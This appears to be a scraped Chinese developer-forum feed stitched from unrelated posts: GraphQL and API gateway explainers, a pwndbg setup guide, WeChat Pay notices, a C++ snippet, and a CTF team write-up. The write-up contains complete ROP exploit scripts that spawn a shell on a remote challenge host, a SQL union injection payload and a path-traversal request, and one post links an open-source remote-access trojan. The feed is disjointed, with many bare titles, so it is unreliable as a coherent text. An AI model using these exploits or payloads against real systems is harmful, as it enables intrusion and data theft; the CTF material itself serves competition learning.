<p>你听说过 GraphQL 吗？这种最早由 Facebook（现 Meta）创建的 API 查询语言已经蓬勃发展成了一个庞大的生态系统。阅读以下文章，了解我们为什么有必要拥抱这种新的 API 范式。</p> <h2>软件工程项目复杂性带来新挑战</h2> <h3>API Schema</h3> <p>在管理传统 REST API 时，通常需要借助 OpenAPI 或 Postman 这样的工具来管理 API Schema。这种方式是一种独立于 API 本身的定义方式，是否提供以及如何正确完成这些描述文件，完全依赖于开发者的认知和水平。</p> <p>在生成 API Schema 的过程中，我们常常遭遇复杂的工具链和容易出错的生成物，这让开发者感到烦恼。提供包括数据模型、API 描述、文档和示例的完整定义并非易事，而展示 OpenAPI 需要使用 Swagger UI 等方式，也需要投入额外工作。</p> <h3>API 协议</h3> <p>在传统 REST API 查询或提交数据时，HTTP 的请求-响应模型一直表现良好。然而，获取时常变化的数据则需要考虑长轮询或 WebSocket 等方式。尽管这些方法可行，但关于我们在效率和控制成本之间的谨慎平衡，目前没有一种开箱即用的机制可以很好地兼顾这两种模式。</p> <h3>复杂场景的挑战</h3> <p>过去，开发者只需提供一个基于 API 的 Web 页面供用户在浏览器中使用，直接通过 HTML 展示数据。然后，随着移动时代的到来，开发者需要为 Android 和 iOS 平台提供原生应用。这些应用有不同的用户群和使用习惯，信息密度也不尽相同。开发者很难通过一套单一的 API 为所有平台提供支持，每个平台的不同数据和交互需求都需要特定的 API。在服务端应用中，开发者还需面对逐渐膨胀的数据源，例如关系型数据库或 Redis 缓存。如何正确管理数据的持久化和缓存，并为客户端提供查询，也是一个巨大的挑战。</p> <p><img src="https://static.apiseven.com/uploads/2023/12/26/BMR2xNUh_Challenges%20%283%29.png" alt="Challenges faced by Rest API" referrerpolicy="no-referrer"></p> <h2>GraphQL 助力 API 开发</h2> <p>GraphQL 有助于应对这些复杂性。它提供了一个统一的 API Schema，可以通过 Schema-first 或 Code-first 的方式编写数据模型和 API 接口的描述，确保了 API 实现和定义的一致性和正确性。GraphQL 支持原生数据变更订阅能力，通过 WebSocket 通道实现数据变更的实时推送。在 HTTP 协议和 JSON 编码格式的基础上，GraphQL 的请求流量对代理服务器非常友好。它还提供了按需查询和聚合数据的能力，允许不同平台的调用者使用同一套 GraphQL API 并获取所需数据，避免了强制获取全部数据的情况。GraphQL 还具有丰富的生态系统和诸多扩展，如 GraphQL Relay 规范、GraphQL federation 和 GraphiQL 工具等。</p> <p><img src="https://static.apiseven.com/uploads/2023/12/26/YICe89gs_3.png" alt="GraphQL" referrerpolicy="no-referrer"></p> <h2>总结</h2> <p>总体而言，GraphQL 是一种比 REST 更先进的思想，简化了 API 定义的复杂工作流，使得 API 的开发更加灵活。在工程方面，更多的自动化工具简化了 API 开发中的重复性模板代码工作，使得开发者可以更专注于应用本身。相比 REST API，GraphQL 允许开发者渐进式的改进其 API，无论是添加新 API 或是新增字段，对现有用户是无感知的，无需划分版本并打断使用旧版本 API 的用户。现在，已经有很多平台提供 GraphQL API，如 Meta 在其移动应用中使用的 GraphQL API、GitHub 和 Shopify 直接提供供开发者调用的 GraphQL API。</p>

<p><img src="https://image.hackertalk.net/images/41d7a564-ebc8-4e84-a914-82174cde0602" alt="" referrerpolicy="no-referrer"></p> <p>AI 生成自己小时候的照片，感觉效果还不错～</p>

<p><img src="https://image.hackertalk.net/images/a8382bc4-597b-4bf4-8c38-4625362ee0c6" alt="" referrerpolicy="no-referrer"></p> <p>源码仓库：</p> <p>https://github.com/hefengbao/jingmo</p> <p>https://gitee.com/hefengbao/jingmo</p>

<p>更新时间:2023.12.24</p> <p><a href="https://gitee.com/sakana_ctf/pwndbg">pwndbg地址</a></p> <h1>archlinux配置问题</h1> <blockquote> <p>现在archlinux已经支持直接使用pacman包直接安装pwndbg, 当然安装过程并没有因此变得像其他包一样简单, 以下为我个人遇到的一些问题与解决方式.</p> </blockquote> <blockquote> <p>by: sudopacman</p> </blockquote> <h2>包安装</h2> <p>如果不是从源码进行安装, 结束后发现调用gdb并不会变成pwndbg的环境, 查询发现需要将<code>source /usr/share/pwndbg/gdbinit.py</code>保存至~/.gdbinit目录, 当然, 再次打开后发现还是普通的gdb.通过排查可以发现gdbinit.py文件无法调用一个/usr/share/pwndbg/.venv的文件夹, 如果查看源码可以发现所谓的.venv文件夹为python的虚拟环境, 得出结论:</p> <ul> <li>archlinux一键安装pwndbg失败来源于python的虚拟环境构建</li> </ul> <p>小知识, 不同于其他linux发行版, archlinux安装python库不需要(官方似乎也禁用了)pip包, 尝试使用pip进行包安装会出现报错, 提醒使用pacman进行安装, 所以我们需要重新构建一个虚拟环境:</p> <pre><code class="language-bash"> # 安装虚拟环境库 sudo pacman -S python-virtualenv # 设置虚拟环境 cd /usr/share/pwndbg python -m venv .venv source .venv/bin/activate # 成功进入虚拟环境后命令行开头会增加(.venv),安装所需包(备注: 可根据需要添加镜像源) sudo pip install --upgrade pip sudo pip install pwntools typing_extensions tabulate </code></pre> <p>完成后尝试运行gdb发现已经出现了<code>pwndbg&gt;</code>的标注, 当然有可能会出现一些警告, 我这里报告需要多安装一个QEMU, 直接使用pacman包安装:</p> <pre><code class="language-bash"> sudo pacman -S qemu </code></pre> <p>直接打开后显示如下:</p> <pre><code class="language-bash"> [root@archlinux ~]$ gdb GNU gdb (GDB) 13.2 Copyright (C) 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-pc-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: &lt;https://www.gnu.org/software/gdb/bugs/&gt;. Find the GDB manual and other documentation resources online at: &lt;http://www.gnu.org/software/gdb/documentation/&gt;. For help, type "help". Type "apropos word" to search for commands related to "word". pwndbg: loaded 142 pwndbg commands and 44 shell commands. Type pwndbg [--shell | --all] [filter] for a list. pwndbg: created $rebase, $ida GDB functions (can be used with print/break) ------- tip of the day (disable with set show-tips off) ------- Pwndbg sets the SIGLARM, SIGBUS, SIGPIPE and SIGSEGV signals so they are not passed to the app; see info signals for full GDB signals configuration pwndbg&gt; </code></pre> <h2>从源码安装</h2> <p>尽管现在setup.sh文件已经支持了pacman包, 不过个人实际测试时出现了一些严重错误, 我们在尝试优化setup.sh在arch上的配置, 成功后将会尝试合并到主分支.</p>

<p>https://github.com/ycy20090311/Ytrojan</p> <p>开源的远控木马 能力有限 大佬们轻喷 :laughing:</p>

<p>什么是 API 网关？3 分钟给你讲明白。每当我们提到 API 网关时，总是会涉及到很多专业名词，如负载均衡、反向代理、限流、限速、身份认证、可观测性等等。对于后端工程师来说，这些可能较容易理解，但对于前端工程师或没有工程师背景的人来说，这实际上是一个难以理解的概念。那么有没有一种简单的方式，在两三分钟内，向完全没有技术背景的人介绍 API 网关这个概念，并使其能够听明白呢？实际上是有的。</p> <p>我们来举两个现实中的例子。计算机中的很多概念实际上与我们的物理世界有很强的关联性。当你发现一个计算机概念难以理解时，我们可以用生活中的例子将其对应起来。首先，我们来看一个最简单的例子：API 网关。它的基本功能是负载均衡和反向代理。这个概念在现实生活中对应着我们在马路上、在城市中每天都会看到的红绿灯。通过交通信号灯来控制车流，使所有交通能够按照最优速度进行指挥和流转。这些红绿灯是可以动态调整的，在交通高峰期，红绿灯的时间可能会缩短，也可能会进行专门的优化。因此，如果你理解了红绿灯控制路口车流的原理，那么你就明白了 API 网关对于流量的反向代理和负载均衡的原理。</p> <p><img src="https://static.apiseven.com/uploads/2023/12/22/f3jJXlv9_api-gateway-in-3-minutes-1.jpg" alt="API gateway = traffic light" referrerpolicy="no-referrer"></p> <p>接下来，我们再举一个稍微复杂的例子：机场。当你要出国旅游时，首先需要凭护照取得机票，然后通过边境和海关，由边境检查护照和签证，海关检查携带的行李。这实际上对应于 API 网关中的身份认证，它会审查你的身份是否符合当前边检要求，以及确认你的行李是否通过了海关和机场的安全检测。</p> <p><img src="https://static.apiseven.com/uploads/2023/12/22/Seiy852o_api-gateway-in-3-minutes-2.jpg" alt="authentication at airport" referrerpolicy="no-referrer"></p> <p>当我们理解了通过红绿灯和机场来理解 API 网关的基本原理和作用后，你就会发现 API 网关在我们的数字世界中占据着非常重要的位置。想象一下，如果一个城市的红绿灯出现故障，如果一个城市的机场无法正常运转，将给我们的物理世界和生活带来许多不便。数字世界中也是如此，如果负载均衡、反向代理、身份认证、限流、限速等常见功能出现故障，就相当于城市的红绿灯和机场等重要基础设施出现了故障。因此，API 网关实际上是数字世界中的基础设施。</p> <p><img src="https://static.apiseven.com/uploads/2023/12/22/q9PMwm7r_api-gateway-in-3-minutes-3.jpg" alt="API gateway features" referrerpolicy="no-referrer"></p> <p>除了上述 API 网关可以实现的功能外，它还可以实现类似流量限速、身份检测等常见功能，并具有更多附加特性。以 Apache 软件基金会的顶级项目中 APache APISIX 为例，它拥有近 100 个插件和数百项不同的功能。因此，通过 API 网关，我们可以实现许多希望在流量中实现的功能，如安全检测、可观测性方面的性能分析等，也可以与更多云服务或 SaaS 类服务进行对接。因此，你可以将 API 网关看作是连接整个数字世界的连接器。</p> <p>在今天的介绍中，我们已经讲解了 API 网关与物理世界的对应关系，相信你对 API 网关有了更直观的了解。在后续的文章中，我们将提供一个更详细的例子，讲解如何通过 API 网关将内部的 API 暴露给合作伙伴和消费者进行调用。</p>

<p>印象中是在 b 站首页看到站长发的视频，感觉风格比较清新，在了解到 UI 框架用的是 tailwind 后便一直关注到现在，陆陆续续打卡了 134 天 :sunglasses:</p>

关于警惕防范代理诈骗的提示

关于进一步规范“自媒体”内容来源标注的公告

12月20日微信支付升级维护通知

<p>Android12中，应该怎么获取当前App已经加载的so文件列表</p>

小游戏适龄提示设置指引

微信支付网络变更通知

微信支付网络变更通知（12.07）

<p>本次国际赛<a href="https://sakana_ctf.gitee.io/sakana">sakana战队</a>拿下112名, 解出题目如下所示:</p> <p><img src="https://image.hackertalk.net/images/9ef705db-e483-47bb-9801-6ebc0463b87d" alt="" referrerpolicy="no-referrer"></p> <p>以下为解出题目与比赛结束后检验过能解出的题目:</p> <h2>pwn</h2> <h3>ribbit</h3> <p>ret2syscall的一道比较模板的题</p> <h2>思路一：</h2> <p>构造数据满足win函数</p> <p>随便找一个bss段的位置。</p> <p>然后ROP出一个read就行。然后win函数的两个参数分别对应<strong>rdi</strong> 和 <strong>rsi</strong>,那么利用 pop_rdi 和 pop_rsi 指定参数即可。</p> <pre><code class="language-python"> #!/usr/bin/python3 #coding:utf-8 from pwn import * import sys import time import os import base64 from struct import pack context.clear(arch='amd64', os='linux', log_level='debug') context.terminal = ['tmux','new-window'] global filename,libc,libcname,host,port,e,BreakPoint,p s = lambda data : p.send(data) sa = lambda text,data : p.sendafter(text, data) sl = lambda data : p.sendline(data) sla = lambda text,data : p.sendlineafter(text, data) r = lambda num=4096 : p.recv(num) rl = lambda : p.recvline() ru = lambda text : p.recvuntil(text) pr = lambda num=4096 : print(p.recv(num)) inter = lambda : p.interactive() l32 = lambda : u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda : u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda : u64(p.recv(6).ljust(8,b'\x00')) int16 = lambda data : int(data,16) lg = lambda s, num : p.success('%s -&gt; 0x%x' % (s, num)) def start(): if args.GDB: return gdb.debug(e.path, gdbscript = BreakPoint) elif args.REMOTE: return remote(host, port) else: return process(e.path) ret_addr = 0x040101a pop_rdi = 0x0040201f pop_rsi = 0x0040a04e pop_rax = 0x00449267 pop_rdx = 0x000047fe1a syscall_ret = 0x000414d26 bss_int_addr = 0x00004C72A1 bss_chr_addr = 0x00004C72C0 win_addr = 0x000401825 def exp(): payload = b'a' * 0x20 + b'b' * 0x08 + p64(ret_addr) #1.string = You got this! Just do it! payload += p64(pop_rax) + p64(0x0) payload += p64(pop_rdx) + p64(0x100) + p64(pop_rsi) + p64(bss_chr_addr) payload += p64(pop_rdi) + p64(0) payload += p64(syscall_ret) #2.布置传参 payload += p64(pop_rdi) + p64(0xF10C70B33F) + p64(pop_rsi) + p64(bss_chr_addr) + p64(win_addr) + p64(0xdeadbeef) sla("Can you give my pet frog some motivation to jump out the hole? ",payload) pause() # payload2 = b"You got this!" # payload2 = payload2.ljust(0x15,b'\x00') # payload2 += b'Just do it!\x00' payload2 = b"You\x20got\x20this!\x00\x00\x00\x00\x00\x00\x00\x00Just\x20do\x20it!\x00" sl(payload2) inter() if __name__ == '__main__': filename = './ribbit' # libcname = '' host = 'chal.nbctf.com' port = 30170 e = context.binary = ELF(filename) # libc = ELF(libcname) BreakPoint = ''' b frog ''' p = start() exp() </code></pre> <h2>思路二：</h2> <p>不管win函数，反正程序能执行system（/bin/sh），那么直接ret2syscall做就行。</p> <p>先利用syscall实现一个往bss段写/bin/sh的read函数，然后再实现一个system函数就行。</p> <p>EXP：</p> <pre><code class="language-python"> #!/usr/bin/python3 #coding:utf-8 from pwn import * import sys import time import os import base64 from struct import pack context.clear(arch='amd64', os='linux', log_level='debug') context.terminal = ['tmux','new-window'] global filename,libc,libcname,host,port,e,BreakPoint,p s = lambda data : p.send(data) sa = lambda text,data : p.sendafter(text, data) sl = lambda data : p.sendline(data) sla = lambda text,data : p.sendlineafter(text, data) r = lambda num=4096 : p.recv(num) rl = lambda : p.recvline() ru = lambda text : p.recvuntil(text) pr = lambda num=4096 : print(p.recv(num)) inter = lambda : p.interactive() l32 = lambda : u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda : u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda : u64(p.recv(6).ljust(8,b'\x00')) int16 = lambda data : int(data,16) lg = lambda s, num : p.success('%s -&gt; 0x%x' % (s, num)) def start(): if args.GDB: return gdb.debug(e.path, gdbscript = BreakPoint) elif args.REMOTE: return remote(host, port) else: return process(e.path) ret_addr = 0x040101a pop_rdi = 0x0040201f pop_rsi = 0x0040a04e pop_rax = 0x00449267 pop_rdx = 0x000047fe1a syscall_ret = 0x000414d26 bss_int_addr = 0x00004C72A1 bss_chr_addr = 0x00004C72C0 win_addr = 0x000401825 def exp(): payload = b'a' * 0x20 + b'b' * 0x08 + p64(ret_addr) #1.string = You got this! Just do it! payload += p64(pop_rax) + p64(0x0) payload += p64(pop_rdx) + p64(0x100) + p64(pop_rsi) + p64(bss_chr_addr) payload += p64(pop_rdi) + p64(0) payload += p64(syscall_ret) #2. execve("/bin/sh",NULL,NULL) payload += p64(pop_rax) + p64(0x3b) payload += p64(pop_rdx) + p64(0x0) + p64(pop_rsi) + p64(0) payload += p64(pop_rdi) + p64(bss_chr_addr) payload += p64(syscall_ret) + p64(0xdeadbeef) sla("Can you give my pet frog some motivation to jump out the hole? ",payload) pause() payload1 = b'/bin/sh\x00' sl(payload1) inter() if __name__ == '__main__': filename = './ribbit' # libcname = '' host = 'chal.nbctf.com' port = 30170 e = context.binary = ELF(filename) # libc = ELF(libcname) BreakPoint = ''' b frog ''' p = start() exp() </code></pre> <h2>MISC</h2> <h3>do you hear that?</h3> <p>简单的音频隐写签到题</p> <p><img src="https://image.hackertalk.net/images/70db08ea-4b82-4e8c-a177-202addeecf90" alt="" referrerpolicy="no-referrer"></p> <p>解出flag:<code>nbctf{y0u_h4v3_s0m3_g00d_34rs}</code></p> <h2>crypto</h2> <h3>Caesar Salads</h3> <p>题目如下所示:</p> <p><code>Ciphertext: xlmdp{ryzo_drsc_gkcxd_dyy_rkbn_yp_k_cdkbd}</code></p> <p>很基础的凯撒加密, 轻易可以推出位移数为10, 随便找个网站:</p> <p><img src="https://image.hackertalk.net/images/72523ca4-a607-4c70-af7b-5c7b8685e189" alt="" referrerpolicy="no-referrer"></p> <p>解出flag:<code>nbctf{hope_this_wasnt_too_hard_of_a_start}</code></p> <h3>32+32=64</h3> <p>两个文件, 里面装的像base64编码, 我的思维僵化了, 一直没想出32+32=64是什么意思, 还得靠队友, 将字符解码32次进行base64编码拿到flag:</p> <pre><code class="language-python"> import base64 def decode_base64_multiple_times(encoded_str, num_times): decoded_str = encoded_str for _ in range(num_times): decoded_str = base64.b64decode(decoded_str) return decoded_str.decode('utf-8') def main(file_name): file_path = file_name# "32_{}.txt" num_decodes = 32 try: with open(file_path, 'r') as file: base64_encoded_string = file.read().strip() result = decode_base64_multiple_times(base64_encoded_string, num_decodes) return result except FileNotFoundError: print(f"Error: File '{file_path}' not found.") except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": flag = "" for i in ["32_1.txt","32_2.txt"]: flag += main(i) print(flag) </code></pre> <p>解出flag:<code>nbctf{h0pE_y0U_h4d_fUn}</code></p> <h3>Rivest Shamir forgot Adleman</h3> <p>rsa, 但是细看会发现有点不太一样, 看部分源码:</p> <pre><code class="language-python"> m = bytes_to_long(b"nbctf{[REDACTED]}") ct = (m^e) % n </code></pre> <p>latex写多了, 一直没想起<code>^</code>在python中是异或运算, 我在疑惑为什么不用pow()而是自己用符号实现了模运算, 效率会低很多. 发现了问题后就很容易直接反推密文了:</p> <pre><code class="language-python"> n = 13431294979312769345517878088407659222785929563176888493659632690735510803353339825485161776891929296355466082338185199541755546384591261208929371208286410559187299345800125302598147388467283782373829399059130130575707550536466670447022349923395822077916588516101640779751198703879200863153859677174339078186779847910915309774616338231020176817201080756103027200290903849975398368943087868140010448011002364291104062990443568049879169811274854879262048473842331319786127894828031613201122015559660817797429013884663990368453887433480357502012963127000535358820517096295714967262963843868885674823702064175405493435873 e = 123589168751396275896312856328164328381265978316578963271231567137825613822284638216416 ct = 159269674251793083518243077048685663852794473778188330996147339166703385101217832722333 from Crypto.Util.number import * pt = b"flag{fake_flag}" u = 0 while pt[:5] != b"nbctf": m = (ct + (n * u)) ^ e pt = long_to_bytes(m) u += 1 print(pt) </code></pre> <p>讲个笑话, 我一直以为取模起作用了, 开始是令<code>u = 1</code>, 爆破了好久没出结果, 然后自己随便取了个<code>flag{test}</code>反推, 发现<code>m^e</code>可能会小于<code>n</code>, 把<code>u</code>改为从0开始秒出结果:</p> <p>解出flag:<code>nbctf{wh0_t0ld_m3_t0_u53_xors!?!?!?}</code></p> <h3>SBG-ABW's Insanity</h3> <p>经检验getPrime(1096)会获取长度330的随机素数.</p> <p>当获取AES的密钥时可以直接反解出结果, 故本题的关键是求出被哈希加密的<code>q1</code>, 已知<code>n1</code>和<code>n2</code>共用了<code>p</code>, 其中有</p> <p>$$</p> <p>\begin{matrix}</p> <p>ct1 = m^e\mod{n1} \</p> <p>ct2 = m^e\mod{n2}</p> <p>\end{matrix}</p> <p>\longrightarrow</p> <p>\begin{matrix}</p> <p>m^e - ct1 = m^e - (m^e\mod{n1}) \</p> <p>m^e - ct2 = m^e - (m^e\mod{n2})</p> <p>\end{matrix}</p> <p>$$</p> <p>由模运算的定义可知$m^e - ct1$可被n1整除, 同理$m^e - ct2$可被n2整除, 即$p \cdot u = (m^e - ct1, m^e - ct2)$, 再将结果进行反代: $q1 \cdot v = m^e - ct1 p \cdot u$, 其中q为330位的素数.</p> <p>接下来使用python求出$q1 \cdot v$:</p> <pre><code class="language-python"> ct1 = 196150896308015382573408099004515975466540094705348761587854272630906023749083911008835478259767648401709605726136589590310666858430120235218762651641330953170392784645631801449432061363776229651965539255255795373230255852992805188205639228954217034390731460194284731845705855212209524525682241998203303747513174581513168217999505436596818091279091144718119512522929858750349220346765422769476003604849600128605208123474607256344535541843454810706150705449483256361736428064150792476736751093915251743882647862500622465233906844054109281842278362125589335774364236155483783338907105809549449368926475631824722919958889450225026843225780470131268709445293157749 ct2 = 83507921327913521142443934492559420944369023782917085618978768157512494136296269338031471193927727958060037960270530278173852027186606624474398269053920321522448607751539858355179998108075848593814112217098612017462222420001262248144471923306139580601814218471659969728514600258330312623506466116333593434744460773476488134792248490905628242447603788884700795677619881924772996081377617066055448888668800826281711315468059146518373888252421991592124071284411947405472003802863596010724784730366575751160333120162778945930063499020829492960600318519615351417595308518636794008603089224459556289944808655338805251676963828327517925911000528943113536807796285824 from Crypto.Util.number import bytes_to_long from Crypto.Util.Padding import pad from gmpy2 import gcd m = bytes_to_long(b'we give you this as a gift!') e = 11 p = gcd(pow(m,e) - ct1, pow(m,e) - ct2) q1_v = (pow(m,e) - ct1) // p print("q1*v = ",q1_v) # q1*v = 9438107483604426099234307212427752475803854764708848335746164286148983426581753805031007985540714362644785021419780829848843302168556301770235625908216882683578075464112216424821035025880166672346974071285574853860969650611535038467308780428766159187393252271266400062630507333498189661076570162911509133920022337277819596436742504777762405418094034838882020565595203629234137016588 </code></pre> <p>用<a href="http://factordb.com/">网站</a>先快速使用筛减一遍得到长364位的大数:215159925620871504066041755421707402109251457512031234570066010084122017405040683711805515329207311736, 因为q为330位的素数, 故另一位数的长度约34位, 两位数量级差距过大, 使用ecm方法, 这里用yafu爆破了大概十几秒拿到330位的素数, 再次进行计算:</p> <pre><code class="language-python"> from Crypto.Util.number import long_to_bytes from Crypto.Cipher import AES import hashlib enc_flag = "ac2289b707b174c541cf0952bf3b2057561b0872451444a5bbecf18c007ea20fa2b7c8a1707a74a1657e5adb5c1a417f" q1 = 603701201822386830907144477326706640694145605732107023753674808182665696931502012989218558077472289899849882120737934821898165435847435044518846871242860227586749788240998624721376490806164324545522115137075097300642534248374378375756928831273442124872283671893345317220496457140852434166575343690062190540448032738970711476061243 key = hashlib.sha256(long_to_bytes(q1)).digest() cipher = AES.new(key, AES.MODE_ECB) flag = cipher.decrypt(bytes.fromhex(enc_flag)) print("flag is:",flag) # flag is: b'nbctf{c0ngr4ts_0n_F1nish1n9_Th3_3_P4rt3r!!!!}\x03\x03\x03' </code></pre> <p>解出flag:<code>nbctf{c0ngr4ts_0n_F1nish1n9_Th3_3_P4rt3r!!!!}</code></p> <h3>Too Little Information</h3> <p>原理:</p> <p>$$</p> <p>\begin{matrix}</p> <p>n = p \cdot q \</p> <p>n = p \cdot（p+q - p） \</p> <p>0 = p \cdot（p+q - p）- n</p> <p>\end{matrix}</p> <p>$$</p> <p>使用(p+q)的部分值, 可以得到p的部分值(MSB相同), 然后使用Coppersmith定理进行高位攻击获得p的全部值。</p> <p>使用sage进行Coppersmith定理攻击:</p> <pre><code class="language-python"> ct = 20030315247290021934293927354887580426070566017560641204155610658927917290198737029903594702064351773446005018155094643288125396810753014936800515440652855824038470725838848349666236623899089094953181436465435270989651491997801177943499187812270081592263331832916362349716591828106306150603120693022149233534 e = 65537 n = 90166344558664675592644684556355545187373291859609367810958775310181360193141550862577281658089332577942193823477148064165061303827534169112815736618901965700400798345371758370344207077280925015891945591352156370597957742921722432314582261224366498475465730899163137511778647694175484386010210005826793007961 hint = 12227137598952006551839416663729660224872609953685427677011433223002140448682395830146750981200 from Crypto.Util.number import * p_ = var('p_') approx_p_plus_q = hint &lt;&lt; 200 approx_p = int((p_*(approx_p_plus_q - p_) - n).roots()[0][0]) PR.&lt;x&gt; = PolynomialRing(Zmod(n)) f = approx_p + x x = f.small_roots(X=2**200, beta=0.4)[0] p = int(f(x)) q = n//p d = pow(e, -1, (p-1)*(q-1)) print("flag = ",pow(ct,d,n)) #flag = 3955723565863787890122051087353365062947420706255423426561541597572251864498831149955181045122737577537149 #print(long_to_bytes(pow(ct, d, n))) #nbctf{cr34t1v3_fl4gs_4r3_s0_h4rd_t0_m4k3...} </code></pre> <p>可能是sage中的python版本太老, 直接调用long_to_bytes()无法得到结果, 会出现报错, 重新拿python跑了一遍结果:</p> <p><img src="https://image.hackertalk.net/images/c19b41ee-8a5f-4dec-863a-bd8c01818f81" alt="" referrerpolicy="no-referrer"></p> <p>解出flag:<code>nbctf{cr34t1v3_fl4gs_4r3_s0_h4rd_t0_m4k3...}</code></p> <h2>web</h2> <h3>Inspector Gadget</h3> <p>旗帜四散在网站各处, 几乎没有审计, 单纯的hide and seek小游戏, 辛苦web手了, 以下是其中一个flag:</p> <p><img src="https://image.hackertalk.net/images/715bf44c-43c8-45e4-b3ef-81b1b7192051" alt="" referrerpolicy="no-referrer"></p> <ul> <li> <p>直接进入其中一个网页找到标题flag1/4</p> </li> <li> <p>在js里面找到隐藏文件<code>supersecrettopsecret.txt</code>, 访问后拿到flag2/4</p> </li> <li> <p>让图片丢失后显示flag3/4</p> </li> <li> <p>扫目录在<code>mysecretfiles.html</code>拿到flag4/4</p> </li> </ul> <p>最后组合后解出flag:<code>nbctf{G00d_J06_D3tectlv3_G4dg3t352}</code></p> <h3>walter's crystal shop</h3> <p>sqlite的简单注入题目, 比较欣慰的是我们团队中有两位队员分别独立地解出了这道题目, 我都存下了信息, 一位使用sqlmap, 这里主要写另一位的联合注入:</p> <p><code>Amethyst' union select 1,2,flag from flag--+</code></p> <p>查询后拿到结果:</p> <p><img src="https://image.hackertalk.net/images/7958ccd1-270e-45ca-99be-7bd12a78445f" alt="" referrerpolicy="no-referrer"></p> <p>解出flag:<code>nbctf{h0p3fuLLy_7h3_D3A_d035n7_kn0w_ab0ut_th3_0th3r_cRyst4l5}</code></p> <h3>Galleria</h3> <p>因为好久没打其他赛道所以干脆只看crypto部分, 导致这么简单的题都没做出来, 从<code>Dockerfile</code>文件可知flag以<code>flag.txt</code>形式存放在<code>/tmp/flag.txt</code>处, 审计源码, 这里贴出部分比较关键的代码:</p> <pre><code class="language-python"> def check_file_path(path): _path = Path(path) parts = [*Path.cwd().parts][1:] for part in _path.parts: if part == '.': continue if part == '..': parts.pop() else: parts.append(part) if len(parts) == 0: return False _path = os.path.join(os.getcwd(), path) _path = Path(_path) return _path.exists() and _path.is_file() @app.route('/gallery') def gallery(): if request.args.get('file'): filename = os.path.join('uploads', request.args.get('file')) if not check_file_path(filename): return redirect(url_for('gallery')) return send_file(filename) </code></pre> <p>check_file_path()函数会过滤掉试图往回的路径, 影响不大, 直接访问<code>[网站地址]/gallery?file=/tmp/flag.txt</code>拿到flag.</p> <p>解出flag:<code>nbctf{w0nd3rh0000yyYYyYyyYyyyYyYYYyy!}</code></p>

<p>记得之前有一个，基调是绿色的，从html到webpack到node都有涉及。但是怎么也找不到了。各位大佬贡献一下你们的日常背八股文的网站呗 :sleeping:</p>

在SpringMVC中响应头的Content-Type主要是由请求头的Accept决定的。在某些情况下由于错误的配置可能引入不必要的XSS风险。

11月29日微信支付升级维护通知

<p>像洛谷这样，签到之后能显示今日运势——单纯签到加积分感觉有点干瘪……<img src="https://image.hackertalk.net/images/02a15653-d9fd-4676-8914-4cd7eb2c155f" alt="" referrerpolicy="no-referrer"><img src="https://image.hackertalk.net/images/a1e0d9e3-8247-4427-9f96-39dbfe18efff" alt="" referrerpolicy="no-referrer"></p>

<p>空间和时间复杂度都是 <code>O(1)</code>，好像还鲜有人知的算法：</p> <pre><code class="language-cpp">inline auto log_2(uint64_t x) { // also unsigned long long uint64_t rst = 0; if (x &amp; 0xffff'ffff'0000'0000ULL) rst += 32, x &gt;&gt;= 32; if (x &amp; 0x0000'0000'ffff'0000ULL) rst += 16, x &gt;&gt;= 16; if (x &amp; 0x0000'0000'0000'ff00ULL) rst += 8, x &gt;&gt;= 8; if (x &amp; 0x0000'0000'0000'00f0ULL) rst += 4, x &gt;&gt;= 4; if (x &amp; 0x0000'0000'0000'000cULL) rst += 2, x &gt;&gt;= 2; if (x &amp; 0x0000'0000'0000'0002ULL) rst += 1 ; return rst; } inline auto log_2(uint32_t x) { // also unsigned int uint32_t rst = 0; if (x &amp; 0xffff'0000U) rst += 16, x &gt;&gt;= 16; if (x &amp; 0x0000'ff00U) rst += 8, x &gt;&gt;= 8; if (x &amp; 0x0000'00f0U) rst += 4, x &gt;&gt;= 4; if (x &amp; 0x0000'000cU) rst += 2, x &gt;&gt;= 2; if (x &amp; 0x0000'0002U) rst += 1 ; return rst; } inline auto log_2(uint16_t x) { // also unsigned short uint16_t rst = 0; if (x &amp; 0x0000'ff00U) rst += 8, x &gt;&gt;= 8; if (x &amp; 0x0000'00f0U) rst += 4, x &gt;&gt;= 4; if (x &amp; 0x0000'000cU) rst += 2, x &gt;&gt;= 2; if (x &amp; 0x0000'0002U) rst += 1 ; return rst; } inline auto log_2(uint8_t x) { // also unsigned char uint8_t rst = 0; if (x &amp; 0x00f0U) rst += 4, x &gt;&gt;= 4; if (x &amp; 0x000cU) rst += 2, x &gt;&gt;= 2; if (x &amp; 0x0002U) rst += 1 ; return rst; } </code></pre>

11月24日微信支付升级维护通知

违反“小游戏用户运营规范”处罚公示

又是一年 Hackergame，今年题目难度整体偏基础好入门，给这周增添了点娱乐气息，和往年一样比赛中也学到了许多。

宁波银行系统维护通知

11月19日“小额支付系统”功能维护通知

关于商户/合作伙伴入驻相关改动的公告

内网渗透打靶文章，其中用到了SharpSQLTools weblogic漏洞 域委派攻击等知识点，知识点比较基础，但是打一下也能学到不少东西，跟大家分享共同学习进步。。。。。。。。。

10月25日微信支付升级维护通知

动态类加载是指在程序运行过程中，向Java虚拟机动态地添加新的类。这种技术被广泛应用于构建插件化系统、实现热部署功能等领域。

IAM（Identity and Access Management）策略是用于控制AWS（Amazon Web Services）资源访问权限的一种机制。

PHAR反序列化是指攻击者利用PHP Archive（PHAR）文件 PH PHAR反序列化 P

关于及时更新银行结算账户的提示

10月13日微信支付升级维护通知

日常渗透测试中，会通过JS审计获取到一些接口信息，但是因为缺少参数等一系列问题没办法进一步进行垂直越权的测试，本文简单的对SpringWeb中的鉴权措施进行分析，看看能不能在一定程度上解决类似的问题。

小游戏代码包大小限制调整

有奖调研｜微信支付合作伙伴系统安全服务调研

中秋及国庆期间微信支付商户申诉审核安排通知

